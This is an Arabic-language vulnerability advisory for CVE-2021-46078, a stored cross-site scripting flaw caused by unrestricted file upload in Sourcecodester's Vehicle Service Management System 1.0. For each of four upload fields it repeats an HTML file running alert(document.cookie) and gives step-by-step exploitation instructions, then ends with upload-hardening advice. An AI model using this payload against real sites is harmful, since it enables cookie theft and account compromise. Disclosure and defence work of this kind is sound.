CVE-2021-46078
عنوان الاستغلال: نظام إدارة خدمات المركبات - 'رفع ملفات متعدد' يؤدي إلى برمجة نصية عبر المواقع المخزنة (Stored Cross-Site Scripting)
CVE: CVE-2021-46078
CVSS: 4.8 متوسط
المراجع:
الوصف:
توجد ثغرة رفع ملفات غير مقيد (Unrestricted File Upload) في نظام إدارة خدمات المركبات من Sourcecodester الإصدار 1.0. يمكن لمهاجم عن بُعد رفع ملفات خبيثة تؤدي إلى ثغرة برمجة نصية عبر المواقع المخزنة (Stored Cross-Site Scripting).
1. نظام إدارة خدمات المركبات - 'حسابي' (/admin/?page=user)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user
الحمولة (Payload):
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود html أعلاه، على سبيل المثال: XSS.html
- في قسم حسابي، أدخل جميع البيانات المطلوبة وتصفح ملف html في حقل الصورة الرمزية (Avatar).
- اضغط على زر التحديث.
- افتح صورة الصورة الرمزية (Avatar) في تبويب جديد.
- يتم تنفيذ كود جافاسكريبت الخبيث.
2. نظام إدارة خدمات المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم قائمة المستخدمين واضغط على زر إنشاء جديد.
الحمولة (Payload):
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود html أعلاه، على سبيل المثال: XSS.html
- في صفحة إنشاء مستخدم جديد، أدخل جميع البيانات المطلوبة وتصفح ملف html في حقل الصورة الرمزية (Avatar).
- اضغط على زر الحفظ.
- افتح صورة الصورة الرمزية (Avatar) في تبويب جديد.
- يتم تنفيذ كود جافاسكريبت الخبيث.
3. نظام إدارة خدمات المركبات - 'الإعدادات - شعار النظام' (/admin/?page=system_info)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة (Payload):
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود html أعلاه، على سبيل المثال: XSS.html
- في قسم الإعدادات، أدخل جميع البيانات المطلوبة وتصفح ملف html في حقل شعار النظام (System Logo).
- اضغط على زر التحديث.
- افتح صورة شعار النظام في تبويب جديد.
- يتم تنفيذ كود جافاسكريبت الخبيث.
4. نظام إدارة خدمات المركبات - 'الإعدادات - غلاف الموقع' (/admin/?page=system_info)
الاستغلال:
- سجّل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- انتقل إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة (Payload):
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- احفظ كود html أعلاه، على سبيل المثال: XSS.html
- في قسم الإعدادات، أدخل جميع البيانات المطلوبة وتصفح ملف html في حقل غلاف الموقع (Website Cover).
- اضغط على زر التحديث.
- افتح صورة غلاف الموقع في تبويب جديد.
- يتم تنفيذ كود جافاسكريبت الخبيث.
التأثير:
يمكن للمهاجم رفع ملف خبيث في نقاط نهاية متعددة، مما يؤدي إلى برمجة نصية عبر المواقع المخزنة.
التخفيف (Mitigation):
يوصى بتنفيذ ما يلي:
- لا تقبل أبدًا اسم ملف وامتداده مباشرة دون وجود مرشح قائمة بيضاء.
- إذا لم تكن هناك حاجة إلى أحرف Unicode، يُوصى بشدة بقبول الأحرف الأبجدية الرقمية فقط ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
- حدد حجم الملف إلى قيمة قصوى لمنع هجمات حجب الخدمة (Denial of Service).
- يجب ألا يحتوي دليل الرفع على أي صلاحية "تنفيذ".
- لا تعتمد على التحقق من جانب العميل فقط.